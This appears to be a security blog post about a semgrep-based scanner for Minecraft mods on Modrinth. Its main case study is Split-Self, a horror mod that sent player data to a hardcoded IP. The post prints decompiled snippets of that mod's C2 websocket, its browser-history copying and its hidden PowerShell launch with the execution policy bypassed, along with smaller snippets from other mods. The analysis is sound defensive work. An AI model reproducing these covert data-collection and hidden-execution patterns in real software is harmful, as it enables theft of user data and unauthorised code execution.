After years of hosting Minecraft servers for friends, I started wondering whether anyone ships malware through mods, and whether anyone would notice.
On 22 June 2026 I pointed a semgrep pipeline at the Modrinth mod platform and started watching.
Since then it has run 40,146 scans across 11,851 mods and produced 140,382 findings, currently clearing around 9,000 jars a week.
I am going to cover Infrastructure first, then the report. **If you are only here for the malware, skip to the report.
Want to skip all of it and get straight to the takeaway? Read the TLDR.
How it works

The scanner is written in Go and produces two binaries. producer polls Modrinth and stages jars in S3. worker pulls jobs off SQS, decompiles, scans, and writes findings to Postgres.
Polling
Modrinth’s search API supports sorting by last-updated, the poller takes the latest results every 60 seconds and diffs it against what it has already seen. If a new mod, or an version of a mod, is published the poller fetches the jar file and uploads it to an S3 bucket.
An SQS message is generated once the download is complete and inserted into the queue for a worker to pick up the job.
Shout out to Modrinth for having an API, and for supporting open and transparent modding. CurseForge could take notes, since I could not get API access to onboard my scanner.
Scanner / Worker
The worker polls SQS for a job. When a new job comes in it uses the S3 key provided and downloads the mod to disk for processing. The jar is decompiled using CFR - another java decompiler.
Then semgrep runs over the recovered Java. Decompiled bytecode does not always parse cleanly: decompilation can occasionally fail, or the decompiled code was obfuscated beforehand, which makes analysis extra hard.
Once the semgrep rules have executed, a set of findings is produced and persisted in the database. The surrounding 25 lines are slurped up along with the offending detected line, to make a quick analysis a bit easier with more context.
Running it in the homelab
I run the whole service in my Kubernetes homelab except for the queue and storage, which makes it cost almost nothing beyond energy and a little cloud storage.
Skipping over most of it, the worker is the interesting part. The scan is a CPU-bound burst: CFR and semgrep both peg a core for the length of a jar scan, then the pod idles until SQS hands it a new job. To handle that I was able to use a HorizontalPodAutoscaler to scale the workers up and down as needed.
I use the Prometheus Go library along with a PodMonitor CRD to export metrics for a dashboard.

This is a normal week: about 9,000 jars ingested and scanned, four ingest failures, and 89 scans that failed outright. Decompilation is best-effort, and some jars simply do not come back as readable Java.
Rules carry their own weight
Every detection is a semgrep rule with a metadata block. The metadata is what turns a pile of matches into something rankable:
- id: mc-runtime-exec
languages: [java]
severity: ERROR
message: >
Executes an external OS command via Runtime.exec(). Legitimate Minecraft
mods almost never spawn OS processes; common in loaders/droppers.
metadata:
category: command-execution
ioc-type: process-exec
score: 40
confidence: high
mitre: T1059
patterns:
- pattern-either:
- pattern: Runtime.getRuntime().exec(...)
- pattern: (Runtime $R).exec(...)
I currently have 11 rule files covering command execution, credential theft, C2, persistence, reflection and classloading, deserialization, and obfuscation. A scan’s total score is the sum of its findings, grouped by category and ioc_type for querying later.
The first sample that mattered: Split-Self
Split-Self was listed as a horror mod. It was open source, it was on Modrinth, and it opened an unencrypted websocket to transfer potentially sensitive user info to a C2.
The websocket had been in the repo since 29 July, in HTTPHandler.java, where it shipped with a comment:
// IT'S NOT A BACKDOOR I SWEAR *cough* aqualoco *cough*
// trolling friends and streamers is just fun :3
The Modrinth page warned it “will interact with your device, OUTSIDE OF THE GAME!”, and the repo’s DISCLAIMER.md enumerated sixteen events that touch your machine, down to the one that opens your optical drive. The websocket was not among them. That file instead promised:
Personally Identifiable Information (PII) can and will be shown to you through this mod. This is client sided and no information will be sent to any server or other players.
For six weeks the disclaimer told users nothing left their machine while the code was already sending it.
I have three scaned versions of the mod over 10 days:
version | published | scanned | findings
---------------+---------------------+---------------------+---------
0.5.02-alpha | 2025-09-21 20:24 | 2026-09-08 16:36 | 50
1.0.0-UNSAFE | 2026-09-08 17:00:43 | 2026-09-08 17:01:20 | 64
1.0.1-UNSAFE | 2026-09-19 23:19:26 | 2026-09-19 23:20:05 | 65
The producer picked up version 1.0.0 on 8 September 2026. Modrinth published it at 17:00:43. The scan was completed at 17:01:20.
Thirty-seven seconds, publish to verdict:
jar_name | split-self-1.0.0.jar
jar_sha256 | b7565e671932d4becd22969dad2db3247746ac617dfff5d9bacc42987ba50394
upstream_id | aUC4k2Yu
version | 1.0.0-UNSAFE
total_score | 13815
finding_count| 64
Against a threshold of 2000. It alerted immediately.
The semgrep findings breakdown:
rule_id | category | n
-----------------------------+-------------------+----
mc-powershell-policy-bypass | command-execution | 5
mc-process-builder | command-execution | 14
mc-shell-command-string | command-execution | 14
mc-host-recon | recon | 22
mc-http-client-send | network-c2 | 3
mc-url-open-connection | network-c2 | 2
mc-hardcoded-ip-literal | network-c2 | 1
mc-sensitive-env-lookup | credential-theft | 1
mc-self-deletion | anti-analysis | 1
mc-shutdown-hook | anti-analysis | 1
Findings land in a web UI that I can use to quickly scan over the alerted code samples. This is the 0.5.02-alpha scan from earlier the same day, which shows an powershell command being constructed and executed

Four days later, on 12 September, the author added the websocket to the disclaimer and, in the same edit, narrowed the promise to “any Minecraft multiplayer server”.
What the mod was doing
The mod opens a websocket to a bare IP, hardcoded, unencrypted:
public static void start(class_310 c) {
client = c;
clientID = c.method_53462().getId().toString();
try {
socket = new WebSocketHook(new URI("ws://144.126.158.38/ws"));
socket.connect();
}
...
}
clientID is the player’s Minecraft UUID, and it goes out on connect.
The browser history reader walks Chrome, Brave, Opera GX and Firefox profiles, copying the history database out to temp so it can be read
File tempFile = File.createTempFile(browserName.toLowerCase() + "_history_", ".sqlite");
tempFile.deleteOnExit();
Files.copy(originalFile.toPath(), tempFile.toPath(), StandardCopyOption.REPLACE_EXISTING);
System.out.println("Created temporary copy of " + browserName + " history for safe reading.");
Geolocation is resolved from the player’s IP through a third party:
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create("http://ip-api.com/line/?fields=city,regionName,country"))
.timeout(Duration.ofSeconds(10L)).build();
The mod writes a script to temp and launches it hidden, with execution policy disabled:
File ps1 = new File(System.getProperty("java.io.tmpdir"), "payload.ps1");
Files.writeString(ps1.toPath(), (CharSequence)psScript, new OpenOption[0]);
SplitSelf.LOGGER.info("[WaitForMeProcedure] PowerShell script saved to: " + ps1.getAbsolutePath());
File batFile = new File(System.getProperty("java.io.tmpdir"), "launch_payload.bat");
String batCommand = "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File \"" + ps1.getAbsolutePath() + "\"\n";
The scripts payload.ps1 and launch_payload.bat are written to disk and set the desktop wallpaper via SystemParametersInfo and throw a fullscreen jumpscare window. It’s not a dropper, but the technique is one commonly associated with them.
Why I did not report it
A scan alerts if it clears a score threshold, or if any finding is marked always-alert regardless of score. The default threshold is 2000, and anything over it goes to Pushover at priority 1, which bypasses quiet hours and lands on my phone.
But…
I have not properly tuned the scoring. False positives from third-party libraries bundled into a mod set off alert after alert, so most of what my phone buzzes about is false postives and I stopped reading them carefully.
Which is exactly what I did on 8 September, missing this sample when it alerted
How it actually came out
Ten days after the first detection a user named apLlewelyn noticed the mod “very quickly giving very personal responses to the streamer” while watching a stream. They read the source, wrote a full report, and filed it with Modrinth.
Their report covers everything above and more: Discord username, system username, browser history snippets, whether recording or streaming software is running, Minecraft username and UUID, and city. Chats are sent back to the server on request, and the server can push messages into a singleplayer world - two-way comms with any player. All of it was gathered from the source code available on GitHub.
The reporter also started a Reddit thread, which got the attention of the mod developer.
The developer’s response is worth reading:
Chat ‘collection’ is on command only and meant only so I can interact with the client’s chat I’m messing around with. I don’t know everything about WebSockets yet, so I don’t know of a better way to handle this.
Around 2000 people had installed it. Modrinth pulled the mod. The ws:// became wss:// about nine hours after someone opened a GitHub issue about it. I don’t blame a mod developer for not knowing security, but it does feel bad that PII was potentially moving unencrypted off that many machines.
Where our findings line up
apLlewelyn’s full write-up is worth reading! They also did the part that matters most: they told Modrinth.
Worth being clear about what is being compared, their column comes from reading the project’s source on GitHub, and mine comes from semgrep rules run over a decompiled jar. Two different inputs and level of detail avaible
We both landed on the same C2 IP. Their report cites HTTPHandler.java line 23 in source; my rules hit it in decompiled output as a hardcoded IP literal, same string, same file. We both have the UUID going out on connect, and we both found BrowserHistoryReader.
Everything else they found, my scanner missed:
WebSocketHookregistering the player’s UUID and username with the serverChatLogBuffer, a 100-message ring buffer, filled by aChatMixininjected intoaddMessage- The remote command vocabulary:
message:<text>to inject text into local chat,get_chatsto retrieve the buffer,event:<EVENT_NAME>andevent:nullto fire events on demand - The Discord username, read through RPC initialisation
- A login page sitting on the server IP, implying a dashboard behind it
- The commit that introduced all of it:
8a05755, 29 July 2026, “so many changes bro”
Going the other way, the scan surfaced three things the report does not mention:
- The PowerShell execution path:
payload.ps1,launch_payload.bat, hidden window, execution policy disabled. That is the bulk of the score, and the only reason the alert fired at all. BackgroundManagerrewriting the desktop wallpaper throughSystemParametersInfoCityLocatorresolving the player’s location againstip-api.com
Overall I am pretty impressed with how the scanner performed. It obviously misses the nuance and context of what a mod is actually doing, but it still serves as a solid indicator that something is smelly and should be investigated manually.
Honourable mentions
Split-Self is the one that caught my eye, but it is not an outlier. Four months of scanning has turned up a steady supply of mods sitting near the same line, and a few sitting right on it.
None of what follows is malware, and I want to be clear about that, because these are real mods by people trying to contribute to a community. They are here because they are coded in a way that should make you uncomfortable, and maybe start some conversations about mod security.
JavAlert
This mod is a script renderer. A server sends text, the client writes it into a .vbs and runs it, or hands it to osascript.
Taking data off the network, writing it into a script and handing that script to an interpreter is a dangerous way to build a feature no matter how good the escaping is, because it makes the escaping the only thing standing between a server you joined and code running on your machine. Java can raise a native notification through TrayIcon.displayMessage. Reaching for a .vbs instead is a choice.
File tempScript = File.createTempFile("mc_notif_", ".vbs");
String vbsScript = String.format("MsgBox \"%s\", %d, \"%s\"",
AlertPacket.escapeVBS(packet.message), iconValue, AlertPacket.escapeVBS(packet.title));
Unknown Host
It pops five fake Windows “System Error” dialogs through mshta with morse-coded taunts, and in 1.6.0 started writing a fake “hacked” console transcript to temp and launching it under -ExecutionPolicy Bypass. Nothing leaves the machine, so it is a prank rather than a stealer, but it convinces people their machine is compromised using the actual techniques of compromising a machine.
Path directory = Files.createTempDirectory("unknownhost-", new FileAttribute[0]);
Path logFile = directory.resolve("dump.log");
Path scriptFile = directory.resolve("session.ps1");
SystemScareManager.writeHackedConsoleFiles(logFile, scriptFile);
Fog Is Coming
It drops an HTA into temp and launches it fullscreen, rewrites your wallpaper via SystemParametersInfo, and leaves files called I_SEE_YOU.txt on your real Desktop. It also carries a hardcoded, live Discord webhook that fires on launch with your machine’s hostname attached.
That last one is undisclosed telemetry rather than a scare, and it is the only thing in this list I would call a genuine problem.
public class DiscordWebhookNotifier {
public static final String WEBHOOK_URL = "https://discord.com/api/webhooks/<redacted>";
public static void sendLaunchNotification() {
The Archivist
A PowerShell consent dialog on startup spells it out (desktop screenshots, webcam, clipboard overwrites, reading your running processes) and clicking No exits the game.
String b64 = Base64.getEncoder().encodeToString(script.getBytes(StandardCharsets.UTF_16LE));
String[] cmd = new String[]{"powershell", "-NoProfile", "-NonInteractive", "-EncodedCommand", b64};
TL;DR
If you jumped straight here: I spent four months statically scanning every mod published to Modrinth. The scan turned up Split-Self, a horror mod that quietly sends player UUIDs, browser history, and geolocation to a hardcoded IP over an unencrypted WebSocket, along with several other benign mods using techniques that would be highly suspicious in almost any other context.
The catch is that these techniques are being used as part of the horror experience: what looks like malware from a static-analysis perspective is part of the mod experience.
Mod security an interesting and unsolved problem. Mod platforms such as Modrinth and CurseForge have approval processes, but there is little transparency into what those processes actually check, and I found no indication that uploaded mods undergo meaningful security analysis.
Some Minecraft mods have hundreds of millions of downloads, and the platforms hosting them generate real revenue from that traffic. I think that creates an obligation for the platforms to try and provide security for their users. Additionally, platforms aren’t simply hosting files; they are the layer that users rely on to discover and install mods. Users shouldn’t have to reverse engineer every JAR they download to establish whether it is trustworthy.
The threat also isn’t limited to a malicious developer. A trusted mod can be compromised, its build pipeline can be attacked, or a developer account can be taken over—turning a previously trustworthy mod into a supply-chain attack.
This isn’t a new problem, and it’s observed in nearly every plugin- or dependency-based ecosystem, be it VS Code extensions, npm packages, PyPI, or whatever else. At minimum, I’d like to see what controls the platforms come up with in the future to protect users.